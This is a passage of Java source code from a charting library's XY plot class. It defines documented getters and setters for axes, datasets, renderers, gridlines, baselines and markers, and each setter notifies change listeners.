notifyListeners(new PlotChangeEvent(this));
}
}
/**
* Returns the axis offset.
*
* @return The axis offset (never <code>null</code>).
*
* @see #setAxisOffset(RectangleInsets)
*/
public RectangleInsets getAxisOffset() {
return this.axisOffset;
}
/**
* Sets the axis offsets (gap between the data area and the axes) and sends
* a {@link PlotChangeEvent} to all registered listeners.
*
* @param offset the offset (<code>null</code> not permitted).
*
* @see #getAxisOffset()
*/
public void setAxisOffset(RectangleInsets offset) {
if (offset == null) {
throw new IllegalArgumentException("Null 'offset' argument.");
}
this.axisOffset = offset;
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns the domain axis with index 0. If the domain axis for this plot
* is <code>null</code>, then the method will return the parent plot's
* domain axis (if there is a parent plot).
*
* @return The domain axis (possibly <code>null</code>).
*
* @see #getDomainAxis(int)
* @see #setDomainAxis(ValueAxis)
*/
public ValueAxis getDomainAxis() {
return getDomainAxis(0);
}
/**
* Returns the domain axis with the specified index, or <code>null</code>.
*
* @param index the axis index.
*
* @return The axis (<code>null</code> possible).
*
* @see #setDomainAxis(int, ValueAxis)
*/
public ValueAxis getDomainAxis(int index) {
ValueAxis result = null;
if (index < this.domainAxes.size()) {
result = (ValueAxis) this.domainAxes.get(index);
}
if (result == null) {
Plot parent = getParent();
if (parent instanceof XYPlot) {
XYPlot xy = (XYPlot) parent;
result = xy.getDomainAxis(index);
}
}
return result;
}
/**
* Sets the domain axis for the plot and sends a {@link PlotChangeEvent}
* to all registered listeners.
*
* @param axis the new axis (<code>null</code> permitted).
*
* @see #getDomainAxis()
* @see #setDomainAxis(int, ValueAxis)
*/
public void setDomainAxis(ValueAxis axis) {
setDomainAxis(0, axis);
}
/**
* Sets a domain axis and sends a {@link PlotChangeEvent} to all
* registered listeners.
*
* @param index the axis index.
* @param axis the axis (<code>null</code> permitted).
*
* @see #getDomainAxis(int)
* @see #setRangeAxis(int, ValueAxis)
*/
public void setDomainAxis(int index, ValueAxis axis) {
setDomainAxis(index, axis, true);
}
/**
* Sets a domain axis and, if requested, sends a {@link PlotChangeEvent} to
* all registered listeners.
*
* @param index the axis index.
* @param axis the axis.
* @param notify notify listeners?
*
* @see #getDomainAxis(int)
*/
public void setDomainAxis(int index, ValueAxis axis, boolean notify) {
ValueAxis existing = getDomainAxis(index);
if (existing != null) {
existing.removeChangeListener(this);
}
if (axis != null) {
axis.setPlot(this);
}
this.domainAxes.set(index, axis);
if (axis != null) {
axis.configure();
axis.addChangeListener(this);
}
if (notify) {
notifyListeners(new PlotChangeEvent(this));
}
}
/**
* Sets the domain axes for this plot and sends a {@link PlotChangeEvent}
* to all registered listeners.
*
* @param axes the axes (<code>null</code> not permitted).
*
* @see #setRangeAxes(ValueAxis[])
*/
public void setDomainAxes(ValueAxis[] axes) {
for (int i = 0; i < axes.length; i++) {
setDomainAxis(i, axes[i], false);
}
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns the location of the primary domain axis.
*
* @return The location (never <code>null</code>).
*
* @see #setDomainAxisLocation(AxisLocation)
*/
public AxisLocation getDomainAxisLocation() {
return (AxisLocation) this.domainAxisLocations.get(0);
}
/**
* Sets the location of the primary domain axis and sends a
* {@link PlotChangeEvent} to all registered listeners.
*
* @param location the location (<code>null</code> not permitted).
*
* @see #getDomainAxisLocation()
*/
public void setDomainAxisLocation(AxisLocation location) {
// delegate...
setDomainAxisLocation(0, location, true);
}
/**
* Sets the location of the domain axis and, if requested, sends a
* {@link PlotChangeEvent} to all registered listeners.
*
* @param location the location (<code>null</code> not permitted).
* @param notify notify listeners?
*
* @see #getDomainAxisLocation()
*/
public void setDomainAxisLocation(AxisLocation location, boolean notify) {
// delegate...
setDomainAxisLocation(0, location, notify);
}
/**
* Returns the edge for the primary domain axis (taking into account the
* plot's orientation).
*
* @return The edge.
*
* @see #getDomainAxisLocation()
* @see #getOrientation()
*/
public RectangleEdge getDomainAxisEdge() {
return Plot.resolveDomainAxisLocation(getDomainAxisLocation(),
this.orientation);
}
/**
* Returns the number of domain axes.
*
* @return The axis count.
*
* @see #getRangeAxisCount()
*/
public int getDomainAxisCount() {
return this.domainAxes.size();
}
/**
* Clears the domain axes from the plot and sends a {@link PlotChangeEvent}
* to all registered listeners.
*
* @see #clearRangeAxes()
*/
public void clearDomainAxes() {
for (int i = 0; i < this.domainAxes.size(); i++) {
ValueAxis axis = (ValueAxis) this.domainAxes.get(i);
if (axis != null) {
axis.removeChangeListener(this);
}
}
this.domainAxes.clear();
notifyListeners(new PlotChangeEvent(this));
}
/**
* Configures the domain axes.
*/
public void configureDomainAxes() {
for (int i = 0; i < this.domainAxes.size(); i++) {
ValueAxis axis = (ValueAxis) this.domainAxes.get(i);
if (axis != null) {
axis.configure();
}
}
}
/**
* Returns the location for a domain axis. If this hasn't been set
* explicitly, the method returns the location that is opposite to the
* primary domain axis location.
*
* @param index the axis index.
*
* @return The location (never <code>null</code>).
*
* @see #setDomainAxisLocation(int, AxisLocation)
*/
public AxisLocation getDomainAxisLocation(int index) {
AxisLocation result = null;
if (index < this.domainAxisLocations.size()) {
result = (AxisLocation) this.domainAxisLocations.get(index);
}
if (result == null) {
result = AxisLocation.getOpposite(getDomainAxisLocation());
}
return result;
}
/**
* Sets the location for a domain axis and sends a {@link PlotChangeEvent}
* to all registered listeners.
*
* @param index the axis index.
* @param location the location (<code>null</code> not permitted for index
* 0).
*
* @see #getDomainAxisLocation(int)
*/
public void setDomainAxisLocation(int index, AxisLocation location) {
// delegate...
setDomainAxisLocation(index, location, true);
}
/**
* Sets the axis location for a domain axis and, if requested, sends a
* {@link PlotChangeEvent} to all registered listeners.
*
* @param index the axis index.
* @param location the location (<code>null</code> not permitted for
* index 0).
* @param notify notify listeners?
*
* @since 1.0.5
*
* @see #getDomainAxisLocation(int)
* @see #setRangeAxisLocation(int, AxisLocation, boolean)
*/
public void setDomainAxisLocation(int index, AxisLocation location,
boolean notify) {
if (index == 0 && location == null) {
throw new IllegalArgumentException(
"Null 'location' for index 0 not permitted.");
}
this.domainAxisLocations.set(index, location);
if (notify) {
notifyListeners(new PlotChangeEvent(this));
}
}
/**
* Returns the edge for a domain axis.
*
* @param index the axis index.
*
* @return The edge.
*
* @see #getRangeAxisEdge(int)
*/
public RectangleEdge getDomainAxisEdge(int index) {
AxisLocation location = getDomainAxisLocation(index);
RectangleEdge result = Plot.resolveDomainAxisLocation(location,
this.orientation);
if (result == null) {
result = RectangleEdge.opposite(getDomainAxisEdge());
}
return result;
}
/**
* Returns the range axis for the plot. If the range axis for this plot is
* <code>null</code>, then the method will return the parent plot's range
* axis (if there is a parent plot).
*
* @return The range axis.
*
* @see #getRangeAxis(int)
* @see #setRangeAxis(ValueAxis)
*/
public ValueAxis getRangeAxis() {
return getRangeAxis(0);
}
/**
* Sets the range axis for the plot and sends a {@link PlotChangeEvent} to
* all registered listeners.
*
* @param axis the axis (<code>null</code> permitted).
*
* @see #getRangeAxis()
* @see #setRangeAxis(int, ValueAxis)
*/
public void setRangeAxis(ValueAxis axis) {
if (axis != null) {
axis.setPlot(this);
}
// plot is likely registered as a listener with the existing axis...
ValueAxis existing = getRangeAxis();
if (existing != null) {
existing.removeChangeListener(this);
}
this.rangeAxes.set(0, axis);
if (axis != null) {
axis.configure();
axis.addChangeListener(this);
}
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns the location of the primary range axis.
*
* @return The location (never <code>null</code>).
*
* @see #setRangeAxisLocation(AxisLocation)
*/
public AxisLocation getRangeAxisLocation() {
return (AxisLocation) this.rangeAxisLocations.get(0);
}
/**
* Sets the location of the primary range axis and sends a
* {@link PlotChangeEvent} to all registered listeners.
*
* @param location the location (<code>null</code> not permitted).
*
* @see #getRangeAxisLocation()
*/
public void setRangeAxisLocation(AxisLocation location) {
// delegate...
setRangeAxisLocation(0, location, true);
}
/**
* Sets the location of the primary range axis and, if requested, sends a
* {@link PlotChangeEvent} to all registered listeners.
*
* @param location the location (<code>null</code> not permitted).
* @param notify notify listeners?
*
* @see #getRangeAxisLocation()
*/
public void setRangeAxisLocation(AxisLocation location, boolean notify) {
// delegate...
setRangeAxisLocation(0, location, notify);
}
/**
* Returns the edge for the primary range axis.
*
* @return The range axis edge.
*
* @see #getRangeAxisLocation()
* @see #getOrientation()
*/
public RectangleEdge getRangeAxisEdge() {
return Plot.resolveRangeAxisLocation(getRangeAxisLocation(),
this.orientation);
}
/**
* Returns a range axis.
*
* @param index the axis index.
*
* @return The axis (<code>null</code> possible).
*
* @see #setRangeAxis(int, ValueAxis)
*/
public ValueAxis getRangeAxis(int index) {
ValueAxis result = null;
if (index < this.rangeAxes.size()) {
result = (ValueAxis) this.rangeAxes.get(index);
}
if (result == null) {
Plot parent = getParent();
if (parent instanceof XYPlot) {
XYPlot xy = (XYPlot) parent;
result = xy.getRangeAxis(index);
}
}
return result;
}
/**
* Sets a range axis and sends a {@link PlotChangeEvent} to all registered
* listeners.
*
* @param index the axis index.
* @param axis the axis (<code>null</code> permitted).
*
* @see #getRangeAxis(int)
*/
public void setRangeAxis(int index, ValueAxis axis) {
setRangeAxis(index, axis, true);
}
/**
* Sets a range axis and, if requested, sends a {@link PlotChangeEvent} to
* all registered listeners.
*
* @param index the axis index.
* @param axis the axis (<code>null</code> permitted).
* @param notify notify listeners?
*
* @see #getRangeAxis(int)
*/
public void setRangeAxis(int index, ValueAxis axis, boolean notify) {
ValueAxis existing = getRangeAxis(index);
if (existing != null) {
existing.removeChangeListener(this);
}
if (axis != null) {
axis.setPlot(this);
}
this.rangeAxes.set(index, axis);
if (axis != null) {
axis.configure();
axis.addChangeListener(this);
}
if (notify) {
notifyListeners(new PlotChangeEvent(this));
}
}
/**
* Sets the range axes for this plot and sends a {@link PlotChangeEvent}
* to all registered listeners.
*
* @param axes the axes (<code>null</code> not permitted).
*
* @see #setDomainAxes(ValueAxis[])
*/
public void setRangeAxes(ValueAxis[] axes) {
for (int i = 0; i < axes.length; i++) {
setRangeAxis(i, axes[i], false);
}
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns the number of range axes.
*
* @return The axis count.
*
* @see #getDomainAxisCount()
*/
public int getRangeAxisCount() {
return this.rangeAxes.size();
}
/**
* Clears the range axes from the plot and sends a {@link PlotChangeEvent}
* to all registered listeners.
*
* @see #clearDomainAxes()
*/
public void clearRangeAxes() {
for (int i = 0; i < this.rangeAxes.size(); i++) {
ValueAxis axis = (ValueAxis) this.rangeAxes.get(i);
if (axis != null) {
axis.removeChangeListener(this);
}
}
this.rangeAxes.clear();
notifyListeners(new PlotChangeEvent(this));
}
/**
* Configures the range axes.
*
* @see #configureDomainAxes()
*/
public void configureRangeAxes() {
for (int i = 0; i < this.rangeAxes.size(); i++) {
ValueAxis axis = (ValueAxis) this.rangeAxes.get(i);
if (axis != null) {
axis.configure();
}
}
}
/**
* Returns the location for a range axis. If this hasn't been set
* explicitly, the method returns the location that is opposite to the
* primary range axis location.
*
* @param index the axis index.
*
* @return The location (never <code>null</code>).
*
* @see #setRangeAxisLocation(int, AxisLocation)
*/
public AxisLocation getRangeAxisLocation(int index) {
AxisLocation result = null;
if (index < this.rangeAxisLocations.size()) {
result = (AxisLocation) this.rangeAxisLocations.get(index);
}
if (result == null) {
result = AxisLocation.getOpposite(getRangeAxisLocation());
}
return result;
}
/**
* Sets the location for a range axis and sends a {@link PlotChangeEvent}
* to all registered listeners.
*
* @param index the axis index.
* @param location the location (<code>null</code> permitted).
*
* @see #getRangeAxisLocation(int)
*/
public void setRangeAxisLocation(int index, AxisLocation location) {
// delegate...
setRangeAxisLocation(index, location, true);
}
/**
* Sets the axis location for a domain axis and, if requested, sends a
* {@link PlotChangeEvent} to all registered listeners.
*
* @param index the axis index.
* @param location the location (<code>null</code> not permitted for
* index 0).
* @param notify notify listeners?
*
* @since 1.0.5
*
* @see #getRangeAxisLocation(int)
* @see #setDomainAxisLocation(int, AxisLocation, boolean)
*/
public void setRangeAxisLocation(int index, AxisLocation location,
boolean notify) {
if (index == 0 && location == null) {
throw new IllegalArgumentException(
"Null 'location' for index 0 not permitted.");
}
this.rangeAxisLocations.set(index, location);
if (notify) {
notifyListeners(new PlotChangeEvent(this));
}
}
/**
* Returns the edge for a range axis.
*
* @param index the axis index.
*
* @return The edge.
*
* @see #getRangeAxisLocation(int)
* @see #getOrientation()
*/
public RectangleEdge getRangeAxisEdge(int index) {
AxisLocation location = getRangeAxisLocation(index);
RectangleEdge result = Plot.resolveRangeAxisLocation(location,
this.orientation);
if (result == null) {
result = RectangleEdge.opposite(getRangeAxisEdge());
}
return result;
}
/**
* Returns the primary dataset for the plot.
*
* @return The primary dataset (possibly <code>null</code>).
*
* @see #getDataset(int)
* @see #setDataset(XYDataset)
*/
public XYDataset getDataset() {
return getDataset(0);
}
/**
* Returns a dataset.
*
* @param index the dataset index.
*
* @return The dataset (possibly <code>null</code>).
*
* @see #setDataset(int, XYDataset)
*/
public XYDataset getDataset(int index) {
XYDataset result = null;
if (this.datasets.size() > index) {
result = (XYDataset) this.datasets.get(index);
}
return result;
}
/**
* Sets the primary dataset for the plot, replacing the existing dataset if
* there is one.
*
* @param dataset the dataset (<code>null</code> permitted).
*
* @see #getDataset()
* @see #setDataset(int, XYDataset)
*/
public void setDataset(XYDataset dataset) {
setDataset(0, dataset);
}
/**
* Sets a dataset for the plot.
*
* @param index the dataset index.
* @param dataset the dataset (<code>null</code> permitted).
*
* @see #getDataset(int)
*/
public void setDataset(int index, XYDataset dataset) {
XYDataset existing = getDataset(index);
if (existing != null) {
existing.removeChangeListener(this);
}
this.datasets.set(index, dataset);
if (dataset != null) {
dataset.addChangeListener(this);
}
// send a dataset change event to self...
DatasetChangeEvent event = new DatasetChangeEvent(this, dataset);
datasetChanged(event);
}
/**
* Returns the number of datasets.
*
* @return The number of datasets.
*/
public int getDatasetCount() {
return this.datasets.size();
}
/**
* Returns the index of the specified dataset, or <code>-1</code> if the
* dataset does not belong to the plot.
*
* @param dataset the dataset (<code>null</code> not permitted).
*
* @return The index.
*/
public int indexOf(XYDataset dataset) {
int result = -1;
for (int i = 0; i < this.datasets.size(); i++) {
if (dataset == this.datasets.get(i)) {
result = i;
break;
}
}
return result;
}
/**
* Maps a dataset to a particular domain axis. All data will be plotted
* against axis zero by default, no mapping is required for this case.
*
* @param index the dataset index (zero-based).
* @param axisIndex the axis index.
*
* @see #mapDatasetToRangeAxis(int, int)
*/
public void mapDatasetToDomainAxis(int index, int axisIndex) {
this.datasetToDomainAxisMap.put(new Integer(index),
new Integer(axisIndex));
// fake a dataset change event to update axes...
datasetChanged(new DatasetChangeEvent(this, getDataset(index)));
}
/**
* Maps a dataset to a particular range axis. All data will be plotted
* against axis zero by default, no mapping is required for this case.
*
* @param index the dataset index (zero-based).
* @param axisIndex the axis index.
*
* @see #mapDatasetToDomainAxis(int, int)
*/
public void mapDatasetToRangeAxis(int index, int axisIndex) {
this.datasetToRangeAxisMap.put(new Integer(index),
new Integer(axisIndex));
// fake a dataset change event to update axes...
datasetChanged(new DatasetChangeEvent(this, getDataset(index)));
}
/**
* Returns the renderer for the primary dataset.
*
* @return The item renderer (possibly <code>null</code>).
*
* @see #setRenderer(XYItemRenderer)
*/
public XYItemRenderer getRenderer() {
return getRenderer(0);
}
/**
* Returns the renderer for a dataset, or <code>null</code>.
*
* @param index the renderer index.
*
* @return The renderer (possibly <code>null</code>).
*
* @see #setRenderer(int, XYItemRenderer)
*/
public XYItemRenderer getRenderer(int index) {
XYItemRenderer result = null;
if (this.renderers.size() > index) {
result = (XYItemRenderer) this.renderers.get(index);
}
return result;
}
/**
* Sets the renderer for the primary dataset and sends a
* {@link PlotChangeEvent} to all registered listeners. If the renderer
* is set to <code>null</code>, no data will be displayed.
*
* @param renderer the renderer (<code>null</code> permitted).
*
* @see #getRenderer()
*/
public void setRenderer(XYItemRenderer renderer) {
setRenderer(0, renderer);
}
/**
* Sets a renderer and sends a {@link PlotChangeEvent} to all
* registered listeners.
*
* @param index the index.
* @param renderer the renderer.
*
* @see #getRenderer(int)
*/
public void setRenderer(int index, XYItemRenderer renderer) {
setRenderer(index, renderer, true);
}
/**
* Sets a renderer and sends a {@link PlotChangeEvent} to all
* registered listeners.
*
* @param index the index.
* @param renderer the renderer.
* @param notify notify listeners?
*
* @see #getRenderer(int)
*/
public void setRenderer(int index, XYItemRenderer renderer,
boolean notify) {
XYItemRenderer existing = getRenderer(index);
if (existing != null) {
existing.removeChangeListener(this);
}
this.renderers.set(index, renderer);
if (renderer != null) {
renderer.setPlot(this);
renderer.addChangeListener(this);
}
configureDomainAxes();
configureRangeAxes();
if (notify) {
notifyListeners(new PlotChangeEvent(this));
}
}
/**
* Sets the renderers for this plot and sends a {@link PlotChangeEvent}
* to all registered listeners.
*
* @param renderers the renderers (<code>null</code> not permitted).
*/
public void setRenderers(XYItemRenderer[] renderers) {
for (int i = 0; i < renderers.length; i++) {
setRenderer(i, renderers[i], false);
}
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns the dataset rendering order.
*
* @return The order (never <code>null</code>).
*
* @see #setDatasetRenderingOrder(DatasetRenderingOrder)
*/
public DatasetRenderingOrder getDatasetRenderingOrder() {
return this.datasetRenderingOrder;
}
/**
* Sets the rendering order and sends a {@link PlotChangeEvent} to all
* registered listeners. By default, the plot renders the primary dataset
* last (so that the primary dataset overlays the secondary datasets).
* You can reverse this if you want to.
*
* @param order the rendering order (<code>null</code> not permitted).
*
* @see #getDatasetRenderingOrder()
*/
public void setDatasetRenderingOrder(DatasetRenderingOrder order) {
if (order == null) {
throw new IllegalArgumentException("Null 'order' argument.");
}
this.datasetRenderingOrder = order;
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns the series rendering order.
*
* @return the order (never <code>null</code>).
*
* @see #setSeriesRenderingOrder(SeriesRenderingOrder)
*/
public SeriesRenderingOrder getSeriesRenderingOrder() {
return this.seriesRenderingOrder;
}
/**
* Sets the series order and sends a {@link PlotChangeEvent} to all
* registered listeners. By default, the plot renders the primary series
* last (so that the primary series appears to be on top).
* You can reverse this if you want to.
*
* @param order the rendering order (<code>null</code> not permitted).
*
* @see #getSeriesRenderingOrder()
*/
public void setSeriesRenderingOrder(SeriesRenderingOrder order) {
if (order == null) {
throw new IllegalArgumentException("Null 'order' argument.");
}
this.seriesRenderingOrder = order;
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns the index of the specified renderer, or <code>-1</code> if the
* renderer is not assigned to this plot.
*
* @param renderer the renderer (<code>null</code> permitted).
*
* @return The renderer index.
*/
public int getIndexOf(XYItemRenderer renderer) {
return this.renderers.indexOf(renderer);
}
/**
* Returns the renderer for the specified dataset. The code first
* determines the index of the dataset, then checks if there is a
* renderer with the same index (if not, the method returns renderer(0).
*
* @param dataset the dataset (<code>null</code> permitted).
*
* @return The renderer (possibly <code>null</code>).
*/
public XYItemRenderer getRendererForDataset(XYDataset dataset) {
XYItemRenderer result = null;
for (int i = 0; i < this.datasets.size(); i++) {
if (this.datasets.get(i) == dataset) {
result = (XYItemRenderer) this.renderers.get(i);
if (result == null) {
result = getRenderer();
}
break;
}
}
return result;
}
/**
* Returns the weight for this plot when it is used as a subplot within a
* combined plot.
*
* @return The weight.
*
* @see #setWeight(int)
*/
public int getWeight() {
return this.weight;
}
/**
* Sets the weight for the plot and sends a {@link PlotChangeEvent} to all
* registered listeners.
*
* @param weight the weight.
*
* @see #getWeight()
*/
public void setWeight(int weight) {
this.weight = weight;
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns <code>true</code> if the domain gridlines are visible, and
* <code>false<code> otherwise.
*
* @return <code>true</code> or <code>false</code>.
*
* @see #setDomainGridlinesVisible(boolean)
*/
public boolean isDomainGridlinesVisible() {
return this.domainGridlinesVisible;
}
/**
* Sets the flag that controls whether or not the domain grid-lines are
* visible.
* <p>
* If the flag value is changed, a {@link PlotChangeEvent} is sent to all
* registered listeners.
*
* @param visible the new value of the flag.
*
* @see #isDomainGridlinesVisible()
*/
public void setDomainGridlinesVisible(boolean visible) {
if (this.domainGridlinesVisible != visible) {
this.domainGridlinesVisible = visible;
notifyListeners(new PlotChangeEvent(this));
}
}
/**
* Returns the stroke for the grid-lines (if any) plotted against the
* domain axis.
*
* @return The stroke (never <code>null</code>).
*
* @see #setDomainGridlineStroke(Stroke)
*/
public Stroke getDomainGridlineStroke() {
return this.domainGridlineStroke;
}
public void setDomainGridlineStroke(Stroke stroke) {
if (stroke == null) {
throw new IllegalArgumentException("Null 'stroke' argument.");
}
this.domainGridlineStroke = stroke;
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns the paint for the grid lines (if any) plotted against the domain
* axis.
*
* @return The paint (never <code>null</code>).
*
* @see #setDomainGridlinePaint(Paint)
*/
public Paint getDomainGridlinePaint() {
return this.domainGridlinePaint;
}
public void setDomainGridlinePaint(Paint paint) {
if (paint == null) {
throw new IllegalArgumentException("Null 'paint' argument.");
}
this.domainGridlinePaint = paint;
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns <code>true</code> if the range axis grid is visible, and
* <code>false<code> otherwise.
*
* @return A boolean.
*
* @see #setRangeGridlinesVisible(boolean)
*/
public boolean isRangeGridlinesVisible() {
return this.rangeGridlinesVisible;
}
/**
* Sets the flag that controls whether or not the range axis grid lines
* are visible.
* <p>
* If the flag value is changed, a {@link PlotChangeEvent} is sent to all
* registered listeners.
*
* @param visible the new value of the flag.
*
* @see #isRangeGridlinesVisible()
*/
public void setRangeGridlinesVisible(boolean visible) {
if (this.rangeGridlinesVisible != visible) {
this.rangeGridlinesVisible = visible;
notifyListeners(new PlotChangeEvent(this));
}
}
/**
* Returns the stroke for the grid lines (if any) plotted against the
* range axis.
*
* @return The stroke (never <code>null</code>).
*
* @see #setRangeGridlineStroke(Stroke)
*/
public Stroke getRangeGridlineStroke() {
return this.rangeGridlineStroke;
}
/**
* Sets the stroke for the grid lines plotted against the range axis,
* and sends a {@link PlotChangeEvent} to all registered listeners.
*
* @param stroke the stroke (<code>null</code> not permitted).
*
* @see #getRangeGridlineStroke()
*/
public void setRangeGridlineStroke(Stroke stroke) {
if (stroke == null) {
throw new IllegalArgumentException("Null 'stroke' argument.");
}
this.rangeGridlineStroke = stroke;
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns the paint for the grid lines (if any) plotted against the range
* axis.
*
* @return The paint (never <code>null</code>).
*
* @see #setRangeGridlinePaint(Paint)
*/
public Paint getRangeGridlinePaint() {
return this.rangeGridlinePaint;
}
/**
* Sets the paint for the grid lines plotted against the range axis and
* sends a {@link PlotChangeEvent} to all registered listeners.
*
* @param paint the paint (<code>null</code> not permitted).
*
* @see #getRangeGridlinePaint()
*/
public void setRangeGridlinePaint(Paint paint) {
if (paint == null) {
throw new IllegalArgumentException("Null 'paint' argument.");
}
this.rangeGridlinePaint = paint;
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns a flag that controls whether or not a zero baseline is
* displayed for the domain axis.
*
* @return A boolean.
*
* @since 1.0.5
*
* @see #setDomainZeroBaselineVisible(boolean)
*/
public boolean isDomainZeroBaselineVisible() {
return this.domainZeroBaselineVisible;
}
/**
* Sets the flag that controls whether or not the zero baseline is
* displayed for the domain axis, and sends a {@link PlotChangeEvent} to
* all registered listeners.
*
* @param visible the flag.
*
* @since 1.0.5
*
* @see #isDomainZeroBaselineVisible()
*/
public void setDomainZeroBaselineVisible(boolean visible) {
this.domainZeroBaselineVisible = visible;
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns the stroke used for the zero baseline against the domain axis.
*
* @return The stroke (never <code>null</code>).
*
* @since 1.0.5
*
* @see #setDomainZeroBaselineStroke(Stroke)
*/
public Stroke getDomainZeroBaselineStroke() {
return this.domainZeroBaselineStroke;
}
/**
* Sets the stroke for the zero baseline for the domain axis,
* and sends a {@link PlotChangeEvent} to all registered listeners.
*
* @param stroke the stroke (<code>null</code> not permitted).
*
* @since 1.0.5
*
* @see #getRangeZeroBaselineStroke()
*/
public void setDomainZeroBaselineStroke(Stroke stroke) {
if (stroke == null) {
throw new IllegalArgumentException("Null 'stroke' argument.");
}
this.domainZeroBaselineStroke = stroke;
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns the paint for the zero baseline (if any) plotted against the
* domain axis.
*
* @since 1.0.5
*
* @return The paint (never <code>null</code>).
*
* @see #setDomainZeroBaselinePaint(Paint)
*/
public Paint getDomainZeroBaselinePaint() {
return this.domainZeroBaselinePaint;
}
/**
* Sets the paint for the zero baseline plotted against the domain axis and
* sends a {@link PlotChangeEvent} to all registered listeners.
*
* @param paint the paint (<code>null</code> not permitted).
*
* @since 1.0.5
*
* @see #getDomainZeroBaselinePaint()
*/
public void setDomainZeroBaselinePaint(Paint paint) {
if (paint == null) {
throw new IllegalArgumentException("Null 'paint' argument.");
}
this.domainZeroBaselinePaint = paint;
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns a flag that controls whether or not a zero baseline is
* displayed for the range axis.
*
* @return A boolean.
*
* @see #setRangeZeroBaselineVisible(boolean)
*/
public boolean isRangeZeroBaselineVisible() {
return this.rangeZeroBaselineVisible;
}
/**
* Sets the flag that controls whether or not the zero baseline is
* displayed for the range axis, and sends a {@link PlotChangeEvent} to
* all registered listeners.
*
* @param visible the flag.
*
* @see #isRangeZeroBaselineVisible()
*/
public void setRangeZeroBaselineVisible(boolean visible) {
this.rangeZeroBaselineVisible = visible;
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns the stroke used for the zero baseline against the range axis.
*
* @return The stroke (never <code>null</code>).
*
* @see #setRangeZeroBaselineStroke(Stroke)
*/
public Stroke getRangeZeroBaselineStroke() {
return this.rangeZeroBaselineStroke;
}
/**
* Sets the stroke for the zero baseline for the range axis,
* and sends a {@link PlotChangeEvent} to all registered listeners.
*
* @param stroke the stroke (<code>null</code> not permitted).
*
* @see #getRangeZeroBaselineStroke()
*/
public void setRangeZeroBaselineStroke(Stroke stroke) {
if (stroke == null) {
throw new IllegalArgumentException("Null 'stroke' argument.");
}
this.rangeZeroBaselineStroke = stroke;
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns the paint for the zero baseline (if any) plotted against the
* range axis.
*
* @return The paint (never <code>null</code>).
*
* @see #setRangeZeroBaselinePaint(Paint)
*/
public Paint getRangeZeroBaselinePaint() {
return this.rangeZeroBaselinePaint;
}
/**
* Sets the paint for the zero baseline plotted against the range axis and
* sends a {@link PlotChangeEvent} to all registered listeners.
*
* @param paint the paint (<code>null</code> not permitted).
*
* @see #getRangeZeroBaselinePaint()
*/
public void setRangeZeroBaselinePaint(Paint paint) {
if (paint == null) {
throw new IllegalArgumentException("Null 'paint' argument.");
}
this.rangeZeroBaselinePaint = paint;
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns the paint used for the domain tick bands. If this is
* <code>null</code>, no tick bands will be drawn.
*
* @return The paint (possibly <code>null</code>).
*
* @see #setDomainTickBandPaint(Paint)
*/
public Paint getDomainTickBandPaint() {
return this.domainTickBandPaint;
}
/**
* Sets the paint for the domain tick bands.
*
* @param paint the paint (<code>null</code> permitted).
*
* @see #getDomainTickBandPaint()
*/
public void setDomainTickBandPaint(Paint paint) {
this.domainTickBandPaint = paint;
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns the paint used for the range tick bands. If this is
* <code>null</code>, no tick bands will be drawn.
*
* @return The paint (possibly <code>null</code>).
*
* @see #setRangeTickBandPaint(Paint)
*/
public Paint getRangeTickBandPaint() {
return this.rangeTickBandPaint;
}
/**
* Sets the paint for the range tick bands.
*
* @param paint the paint (<code>null</code> permitted).
*
* @see #getRangeTickBandPaint()
*/
public void setRangeTickBandPaint(Paint paint) {
this.rangeTickBandPaint = paint;
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns the origin for the quadrants that can be displayed on the plot.
* This defaults to (0, 0).
*
* @return The origin point (never <code>null</code>).
*
* @see #setQuadrantOrigin(Point2D)
*/
public Point2D getQuadrantOrigin() {
return this.quadrantOrigin;
}
/**
* Sets the quadrant origin and sends a {@link PlotChangeEvent} to all
* registered listeners.
*
* @param origin the origin (<code>null</code> not permitted).
*
* @see #getQuadrantOrigin()
*/
public void setQuadrantOrigin(Point2D origin) {
if (origin == null) {
throw new IllegalArgumentException("Null 'origin' argument.");
}
this.quadrantOrigin = origin;
notifyListeners(new PlotChangeEvent(this));
}
/**
* Returns the paint used for the specified quadrant.
*
* @param index the quadrant index (0-3).
*
* @return The paint (possibly <code>null</code>).
*
* @see #setQuadrantPaint(int, Paint)
*/
public Paint getQuadrantPaint(int index) {
if (index < 0 || index > 3) {
throw new IllegalArgumentException("The index value (" + index
+ ") should be in the range 0 to 3.");
}
return this.quadrantPaint[index];
}
/**
* Sets the paint used for the specified quadrant and sends a
* {@link PlotChangeEvent} to all registered listeners.
*
* @param index the quadrant index (0-3).
* @param paint the paint (<code>null</code> permitted).
*
* @see #getQuadrantPaint(int)
*/
public void setQuadrantPaint(int index, Paint paint) {
if (index < 0 || index > 3) {
throw new IllegalArgumentException("The index value (" + index
+ ") should be in the range 0 to 3.");
}
this.quadrantPaint[index] = paint;
notifyListeners(new PlotChangeEvent(this));
}
/**
* Adds a marker for the domain axis and sends a {@link PlotChangeEvent}
* to all registered listeners.
* <P>
* Typically a marker will be drawn by the renderer as a line perpendicular
* to the range axis, however this is entirely up to the renderer.
*
* @param marker the marker (<code>null</code> not permitted).
*
* @see #addDomainMarker(Marker, Layer)
* @see #clearDomainMarkers()
*/
public void addDomainMarker(Marker marker) {
// defer argument checking...
addDomainMarker(marker, Layer.FOREGROUND);
}
/**
* Adds a marker for the domain axis in the specified layer and sends a
* {@link PlotChangeEvent} to all registered listeners.
* <P>
* Typically a marker will be drawn by the renderer as a line perpendicular
